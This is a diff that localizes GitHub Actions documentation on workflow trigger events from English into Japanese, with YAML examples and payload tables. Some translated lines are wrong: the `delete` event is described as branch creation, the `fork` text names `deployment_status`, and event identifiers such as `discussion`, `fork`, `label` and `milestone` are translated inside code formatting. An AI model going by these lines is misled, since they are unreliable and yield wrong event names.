- When you trigger the event on {% data variables.product.prodname_dotcom %}, you can provide the `ref` and any `inputs` directly on {% data variables.product.prodname_dotcom %}. For more information, see "[Using inputs and outputs with an action](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)."
+ {% data variables.product.prodname_dotcom %} でイベントをトリガーすると、{% data variables.product.prodname_dotcom %} で `ref` と `inputs` を直接入力できます。 詳しい情報については、「[アクションで入力と出力を使用する](/actions/learn-github-actions/finding-and-customizing-actions#using-inputs-and-outputs-with-an-action)」を参照してください。
 
- To trigger the custom `workflow_dispatch` webhook event using the REST API, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide the `ref` and any required `inputs`. For more information, see the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)" REST API endpoint.
+ To trigger the custom `workflow_dispatch` webhook event using the REST API, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide the `ref` and any required `inputs`. 詳細については、「[ワークフローディスパッチイベントの作成](/rest/reference/actions/#create-a-workflow-dispatch-event)」REST API エンドポイントを参照してください。
 
-#### Example
+#### サンプル
 
-To use the `workflow_dispatch` event, you need to include it as a trigger in your GitHub Actions workflow file. The example below only runs the workflow when it's manually triggered:
+`workflow_dispatch`イベントを使うには、GitHub Actionsのワークフローファイル中にトリガーとして含めなければなりません。 以下の例では、手動でトリガーされた場合にのみワークフローが実行されます。
 
 ```yaml
 on: workflow_dispatch
 ```
 
-#### Example workflow configuration
+#### ワークフロー設定の例
 
-This example defines the `name` and `home` inputs and prints them using the `github.event.inputs.name` and `github.event.inputs.home` contexts. If a `home` isn't provided, the default value 'The Octoverse' is printed.
+この例では、 `name`と`home`の入力を定義し、`github.event.inputs.name`および`github.event.inputs.home`コンテキストを使用してそれらを出力します。 `home`が提供されなければ、デフォルト値の'The Octoverse'が出力されます。
 
 {% raw %}
 ```yaml
@@ -144,19 +144,19 @@ jobs:
 
 ### `repository_dispatch`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| [repository_dispatch](/webhooks/event-payloads/#repository_dispatch) | n/a | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                                   | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------------------------------- | ---------- | ----------------- | ------------ |
+| [repository_dispatch](/webhooks/event-payloads/#repository_dispatch) | n/a        | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.github-actions.branch-requirement %}
 
-You can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to trigger a webhook event called [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.prodname_dotcom %}. For more information, see "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)."
+You can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to trigger a webhook event called [`repository_dispatch`](/webhooks/event-payloads/#repository_dispatch) when you want to trigger a workflow for activity that happens outside of {% data variables.product.prodname_dotcom %}. 詳細については、「[リポジトリディスパッチ イベントの作成](/rest/reference/repos#create-a-repository-dispatch-event)」を参照してください。
 
-To trigger the custom `repository_dispatch` webhook event, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide an `event_type` name to describe the activity type. To trigger a workflow run, you must also configure your workflow to use the `repository_dispatch` event.
+To trigger the custom `repository_dispatch` webhook event, you must send a `POST` request to a {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API endpoint and provide an `event_type` name to describe the activity type. ワークフローの実行をトリガーするには、`repository_dispatch` イベントを使用するようワークフローを設定する必要もあります。
 
-#### Example
+#### サンプル
 
-By default, all `event_types` trigger a workflow to run. You can limit your workflow to run when a specific `event_type` value is sent in the `repository_dispatch` webhook payload. You define the event types sent in the `repository_dispatch` payload when you create the repository dispatch event.
+デフォルトでは、すべての`event_types`がワークフローの実行をトリガーします。 特定の`event_type`の値が`repository_dispatch` webhookのペイロード内で送信された時にのみワークフローが実行されるように制限できます。 リポジトリのディスパッチイベントを生成する際に、`repository_dispatch`ペイロード内で送信されるイベントの種類を定義します。
 
 ```yaml
 on:
@@ -171,11 +171,11 @@ on:
 
 ### `workflow_call`
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| ------------------ | ------------ | ------------ | ------------------|
-| Same as the caller workflow | n/a | Same as the caller workflow | Same as the caller workflow |
+| webhook イベントのペイロード          | アクティビティタイプ | `GITHUB_SHA`                | `GITHUB_REF`                |
+| --------------------------- | ---------- | --------------------------- | --------------------------- |
+| Same as the caller workflow | n/a        | Same as the caller workflow | Same as the caller workflow |
 
-#### Example
+#### サンプル
 
 To make a workflow reusable it must include `workflow_call` as one of the values of `on`. The example below only runs the workflow when it's called from another workflow:
 
@@ -184,11 +184,11 @@ on: workflow_call
 ```
 {% endif %}
 
-## Webhook events
+## webhook イベント
 
-You can configure your workflow to run when webhook events are generated on {% data variables.product.product_name %}. Some events have more than one activity type that triggers the event. If more than one activity type triggers the event, you can specify which activity types will trigger the workflow to run. For more information, see "[Webhooks](/webhooks)."
+webhook イベントが {% data variables.product.product_name %} で生成されたときに実行されるようにワークフローを設定できます イベントによっては、そのイベントをトリガーするアクティビティタイプが 複数あります。 イベントをトリガーするアクティビティタイプが複数ある場合は、ワークフローの実行をトリガーするアクティビティタイプを指定できます。 詳しい情報については、「[webhook](/webhooks)」を参照してください。
 
-Not all webhook events trigger workflows. For the complete list of available webhook events and their payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)."
+すべての webhook イベントがワークフローをトリガーするわけではありません。 使用可能な webhook イベントとそのペイロードの完全なリストについては、「[webhook イベントとペイロード](/developers/webhooks-and-events/webhook-events-and-payloads)」を参照してください。
 
 {% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-4968  %}
 ### `branch_protection_rule`
@@ -197,9 +197,9 @@ Runs your workflow anytime the `branch_protection_rule` event occurs. {% data re
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`branch_protection_rule`](/webhooks/event-payloads/#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                                           | アクティビティタイプ                                             | `GITHUB_SHA`      | `GITHUB_REF` |
+| ---------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------- | ------------ |
+| [`branch_protection_rule`](/webhooks/event-payloads/#branch_protection_rule) | - `created`<br/>- `edited`<br/>- `deleted` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
@@ -214,17 +214,17 @@ on:
 
 ### `check_run`
 
-Runs your workflow anytime the `check_run` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Check runs](/rest/reference/checks#runs)."
+`check_run` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[チェック実行](/rest/reference/checks#runs)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`check_run`](/webhooks/event-payloads/#check_run) | - `created`<br/>- `rerequested`<br/>- `completed` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                 | アクティビティタイプ                                                    | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------------- | ------------------------------------------------------------- | ----------------- | ------------ |
+| [`check_run`](/webhooks/event-payloads/#check_run) | - `created`<br/>- `rerequested`<br/>- `completed` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a check run has been `rerequested` or `completed`.
+たとえば、チェック実行が `rerequested` または `completed` であったときにワークフローを実行できます。
 
 ```yaml
 on:
@@ -234,23 +234,23 @@ on:
 
 ### `check_suite`
 
-Runs your workflow anytime the `check_suite` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Check suites](/rest/reference/checks#suites)."
+`check_suite` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[チェックスイート](/rest/reference/checks#suites)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
 {% note %}
 
-**Note:** To prevent recursive workflows, this event does not trigger workflows if the check suite was created by {% data variables.product.prodname_actions %}.
+**ノート:** 再帰的なワークフローを避けるために、このイベントは{% data variables.product.prodname_actions %}によってチェックスイートが生成されている場合にはワークフローをトリガーしません。
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`check_suite`](/webhooks/event-payloads/#check_suite) | - `completed`<br/>- `requested`<br/>- `rerequested`<br/> | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                     | アクティビティタイプ                                                                 | `GITHUB_SHA`      | `GITHUB_REF` |
+| ------------------------------------------------------ | -------------------------------------------------------------------------- | ----------------- | ------------ |
+| [`check_suite`](/webhooks/event-payloads/#check_suite) | - `completed`<br/>- `requested`<br/>- `rerequested`<br/> | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a check suite has been `rerequested` or `completed`.
+たとえば、チェック実行が `rerequested` または `completed` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -260,13 +260,13 @@ on:
 
 ### `create`
 
-Runs your workflow anytime someone creates a branch or tag, which triggers the `create` event. For information about the REST API, see "[Create a reference](/rest/reference/git#create-a-reference)."
+誰かがブランチまたはタグを作成し、それによって `create` イベントがトリガーされるときにワークフローを実行します。 REST API の詳細については、「[リファレンスの作成](/rest/reference/git#create-a-reference)」を参照してください。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`create`](/webhooks/event-payloads/#create) | n/a | Last commit on the created branch or tag | Branch or tag created |
+| webhook イベントのペイロード                           | アクティビティタイプ | `GITHUB_SHA`           | `GITHUB_REF`   |
+| -------------------------------------------- | ---------- | ---------------------- | -------------- |
+| [`create`](/webhooks/event-payloads/#create) | n/a        | 直近でブランチまたはタグが作成されたコミット | 作成されたブランチまたはタグ |
 
-For example, you can run a workflow when the `create` event occurs.
+たとえば、`create` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -275,15 +275,15 @@ on:
 
 ### `delete`
 
-Runs your workflow anytime someone deletes a branch or tag, which triggers the `delete` event. For information about the REST API, see "[Delete a reference](/rest/reference/git#delete-a-reference)."
+誰かがブランチまたはタグを作成し、それによって `delete` イベントがトリガーされるときにワークフローを実行します。 REST API の詳細については、「[リファレンスの削除](/rest/reference/git#delete-a-reference)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`delete`](/webhooks/event-payloads/#delete) | n/a | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                           | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------- | ---------- | ----------------- | ------------ |
+| [`delete`](/webhooks/event-payloads/#delete) | n/a        | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
-For example, you can run a workflow when the `delete` event occurs.
+たとえば、`delete` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -292,13 +292,13 @@ on:
 
 ### `deployment`
 
-Runs your workflow anytime someone creates a deployment, which triggers the `deployment` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Deployments](/rest/reference/repos#deployments)."
+誰かがデプロイメントを作成し、それによって `deployment` イベントがトリガーされるときにワークフローを実行します。 コミット SHA 付きで作成されたデプロイメントには Git ref がない場合があります。 REST API の詳細については、「[デプロイメント](/rest/reference/repos#deployments)」を参照してください。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`deployment`](/webhooks/event-payloads/#deployment) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)|
+| webhook イベントのペイロード                                   | アクティビティタイプ | `GITHUB_SHA` | `GITHUB_REF`                 |
+| ---------------------------------------------------- | ---------- | ------------ | ---------------------------- |
+| [`deployment`](/webhooks/event-payloads/#deployment) | n/a        | デプロイされるコミット  | デプロイされるブランチまたはタグ (コミットの場合は空) |
 
-For example, you can run a workflow when the `deployment` event occurs.
+たとえば、`deployment` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -307,13 +307,13 @@ on:
 
 ### `deployment_status`
 
-Runs your workflow anytime a third party provides a deployment status, which triggers the `deployment_status` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Create a deployment status](/rest/reference/deployments#create-a-deployment-status)."
+サードパーティプロバイダーがデプロイメントステータスを提供し、それによって `deployment_status` イベントがトリガーされるときにワークフローを実行します。 コミット SHA 付きで作成されたデプロイメントには Git ref がない場合があります。 REST API の詳細については、「[デプロイメントステータスの作成](/rest/reference/deployments#create-a-deployment-status)」を参照してください。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | n/a | Commit to be deployed | Branch or tag to be deployed (empty if commit)|
+| webhook イベントのペイロード                                                 | アクティビティタイプ | `GITHUB_SHA` | `GITHUB_REF`                 |
+| ------------------------------------------------------------------ | ---------- | ------------ | ---------------------------- |
+| [`deployment_status`](/webhooks/event-payloads/#deployment_status) | n/a        | デプロイされるコミット  | デプロイされるブランチまたはタグ (コミットの場合は空) |
 
-For example, you can run a workflow when the `deployment_status` event occurs.
+たとえば、`deployment_status` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -322,20 +322,20 @@ on:
 
 {% note %}
 
-**Note:** When a deployment status's state is set to `inactive`, a webhook event will not be created.
+**注釈:** デプロイメントステータスの状態が `inactive` に設定されている場合、webhook イベントは作成されません。
 
 {% endnote %}
 
 {% ifversion fpt or ghec %}
-### `discussion`
+### `ディスカッション`
 
 Runs your workflow anytime the `discussion` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the GraphQL API, see "[Discussions]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/guides/using-the-graphql-api-for-discussions)."
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`discussion`](/webhooks/event-payloads/#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                 | アクティビティタイプ                                                                                                                                                                                                                                                                                              | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------- | ------------ |
+| [`ディスカッション`](/webhooks/event-payloads/#discussion) | - `created`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `category_changed`<br/> - `answered`<br/> - `unanswered` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
@@ -353,13 +353,13 @@ Runs your workflow anytime the `discussion_comment` event occurs. {% data reusab
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                                                                     | アクティビティタイプ                                                        | `GITHUB_SHA`      | `GITHUB_REF` |
+| ------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------- | ----------------- | ------------ |
+| [`discussion_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#discussion_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue comment has been `created` or `deleted`.
+たとえば、Issue コメントが `created` または `deleted` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -368,17 +368,17 @@ on:
 ```
 {% endif %}
 
-### `fork`
+### `フォーク`
 
-Runs your workflow anytime when someone forks a repository, which triggers the `fork` event. For information about the REST API, see "[Create a fork](/rest/reference/repos#create-a-fork)."
+誰かがリポジトリをフォークし、それによって `deployment_status` イベントがトリガーされるときにワークフローを実行します。 REST API の詳細については、「[フォークの作成](/rest/reference/repos#create-a-fork)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`fork`](/webhooks/event-payloads/#fork) | n/a | Last commit on default branch |  Default branch |
+| webhook イベントのペイロード                       | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF` |
+| ---------------------------------------- | ---------- | ----------------- | ------------ |
+| [`フォーク`](/webhooks/event-payloads/#fork) | n/a        | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
-For example, you can run a workflow when the `fork` event occurs.
+たとえば、`fork` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -387,15 +387,15 @@ on:
 
 ### `gollum`
 
-Runs your workflow when someone creates or updates a Wiki page, which triggers the `gollum` event.
+誰かが Wiki ページを作成または更新し、それによって `gollum` イベントがトリガーされるときにワークフローを実行します。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`gollum`](/webhooks/event-payloads/#gollum) | n/a | Last commit on default branch |  Default branch |
+| webhook イベントのペイロード                           | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------- | ---------- | ----------------- | ------------ |
+| [`gollum`](/webhooks/event-payloads/#gollum) | n/a        | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
-For example, you can run a workflow when the `gollum` event occurs.
+たとえば、`gollum` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -404,17 +404,17 @@ on:
 
 ### `issue_comment`
 
-Runs your workflow anytime the `issue_comment` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Issue comments](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)."
+`issue_comment` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[Issue コメント](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                                                           | アクティビティタイプ                                                        | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------------------------------------------------------- | ----------------------------------------------------------------- | ----------------- | ------------ |
+| [`issue_comment`](/developers/webhooks-and-events/webhook-events-and-payloads#issue_comment) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue comment has been `created` or `deleted`.
+たとえば、Issue コメントが `created` または `deleted` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -422,9 +422,9 @@ on:
     types: [created, deleted]
 ```
 
-The `issue_comment` event occurs for comments on both issues and pull requests. To determine whether the `issue_comment` event was triggered from an issue or pull request, you can check the event payload for the `issue.pull_request` property and use it as a condition to skip a job.
+`issue_comment`イベントは、IssueやPull Requestにコメントされたときに生じます。 `issue_comment`イベントがIssueで生じたのかPull Requestで生じたのかを判断するには、イベントのペイロードの`issue.pull_request`属性をチェックして、それをジョブをスキップする条件として利用できます。
 
-For example, you can choose to run the `pr_commented` job when comment events occur in a pull request, and the `issue_commented` job when comment events occur in an issue.
+たとえば、コメントイベントがPull Requestで生じたときに`pr_commented`を実行し、コメントイベントがIssueで生じたときに`issue_commented`ジョブを実行するようにできます。
 
 {% raw %}
 ```yaml
@@ -432,7 +432,7 @@ on: issue_comment
 
 jobs:
   pr_commented:
-    # This job only runs for pull request comments
+    # このジョブはプルリクエストコメントに対してのみ実行されます
     name: PR comment
     if: ${{ github.event.issue.pull_request }}
     runs-on: ubuntu-latest
@@ -441,7 +441,7 @@ jobs:
           echo "Comment on PR #${{ github.event.issue.number }}"
 
   issue_commented:
-    # This job only runs for issue comments
+    # このジョブは Issue comment に対してのみ実行されます
     name: Issue comment
     if: ${{ !github.event.issue.pull_request }}
     runs-on: ubuntu-latest
@@ -453,17 +453,17 @@ jobs:
 
 ### `issues`
 
-Runs your workflow anytime the `issues` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Issues](/rest/reference/issues)."
+`Issue` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[Issue](/rest/reference/issues)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`issues`](/webhooks/event-payloads/#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                           | アクティビティタイプ                                                                                                                                                                                                                                                                                                                                                             | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------- | ------------ |
+| [`issues`](/webhooks/event-payloads/#issues) | - `opened`<br/>- `edited`<br/>- `deleted`<br/>- `transferred`<br/>- `pinned`<br/>- `unpinned`<br/>- `closed`<br/>- `reopened`<br/>- `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `locked`<br/>- `unlocked`<br/>- `milestoned`<br/> - `demilestoned` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when an issue has been `opened`, `edited`, or `milestoned`.
+たとえば、Issue が `opened`、`edited`、または `milestoned` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -471,19 +471,19 @@ on:
     types: [opened, edited, milestoned]
 ```
 
-### `label`
+### `ラベル`
 
-Runs your workflow anytime the `label` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see  "[Labels](/rest/reference/issues#labels)."
+`label` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[ラベル](/rest/reference/issues#labels)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`label`](/webhooks/event-payloads/#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                       | アクティビティタイプ                                                        | `GITHUB_SHA`      | `GITHUB_REF` |
+| ---------------------------------------- | ----------------------------------------------------------------- | ----------------- | ------------ |
+| [`ラベル`](/webhooks/event-payloads/#label) | - `created`<br/>- `edited`<br/>- `deleted`<br/> | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a label has been `created` or `deleted`.
+たとえば、ラベルが `created` または `deleted` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -491,19 +491,19 @@ on:
     types: [created, deleted]
 ```
 
-### `milestone`
+### `マイルストーン`
 
-Runs your workflow anytime the `milestone` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Milestones](/rest/reference/issues#milestones)."
+`milestone` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[マイルストーン](/rest/reference/issues#milestones)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`milestone`](/webhooks/event-payloads/#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                               | アクティビティタイプ                                                                                                  | `GITHUB_SHA`      | `GITHUB_REF` |
+| ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------- | ----------------- | ------------ |
+| [`マイルストーン`](/webhooks/event-payloads/#milestone) | - `created`<br/>- `closed`<br/>- `opened`<br/>- `edited`<br/>- `deleted`<br/> | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a milestone has been `opened` or `deleted`.
+たとえばマイルストーンが`opened`あるいは`deleted`になったときにワークフローを実行できます。
 
 ```yaml
 on:
@@ -513,15 +513,15 @@ on:
 
 ### `page_build`
 
-Runs your workflow anytime someone pushes to a {% data variables.product.product_name %} Pages-enabled branch, which triggers the `page_build` event. For information about the REST API, see "[Pages](/rest/reference/repos#pages)."
+誰かが {% data variables.product.product_name %} ページ対応のブランチを作成し、それによって `page_build` イベントがトリガーされるときにワークフローを実行します。 REST API の詳細については、「[ページ](/rest/reference/repos#pages)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`page_build`](/webhooks/event-payloads/#page_build) | n/a | Last commit on default branch | n/a |
+| webhook イベントのペイロード                                   | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF` |
+| ---------------------------------------------------- | ---------- | ----------------- | ------------ |
+| [`page_build`](/webhooks/event-payloads/#page_build) | n/a        | デフォルトブランチの直近のコミット | n/a          |
 
-For example, you can run a workflow when the `page_build` event occurs.
+たとえば、`page_build` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -530,17 +530,17 @@ on:
 
 ### `project`
 
-Runs your workflow anytime the `project` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Projects](/rest/reference/projects)."
+`project` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[プロジェクト](/rest/reference/projects)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project`](/webhooks/event-payloads/#project) | - `created`<br/>- `updated`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                             | アクティビティタイプ                                                                                                                          | `GITHUB_SHA`      | `GITHUB_REF` |
+| ---------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | ----------------- | ------------ |
+| [`project`](/webhooks/event-payloads/#project) | - `created`<br/>- `updated`<br/>- `closed`<br/>- `reopened`<br/>- `edited`<br/>- `deleted`<br/> | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project has been `created` or `deleted`.
+たとえば、プロジェクトが `created` または `deleted` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -550,17 +550,17 @@ on:
 
 ### `project_card`
 
-Runs your workflow anytime the `project_card` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Project cards](/rest/reference/projects#cards)."
